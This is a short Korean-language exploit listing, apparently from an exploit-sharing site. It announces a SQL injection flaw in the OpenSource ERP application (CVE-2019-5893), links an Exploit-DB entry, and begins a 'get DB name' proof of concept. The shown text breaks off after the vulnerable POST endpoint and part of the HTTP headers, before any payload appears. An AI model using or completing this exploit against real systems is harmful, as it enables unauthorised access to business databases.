OpenSource-ERP-SQL-Injection

OpenSource-ERP-SQL-Injection OpenSource ERP 애플리케이션에 SQL 인젝션 취약점이 존재합니다. CVE-2019-5893 https://vulners.com/cve/CVE-2019-5893 https://www.exploit-db.com/exploits/46118 PoC - DB 이름 가져오기 root@kitploit: POST /db/utils/query/data.xml HTTP/1.1 User-Agent: Mozilla/5.0 Windows NT 6.3; WOW64...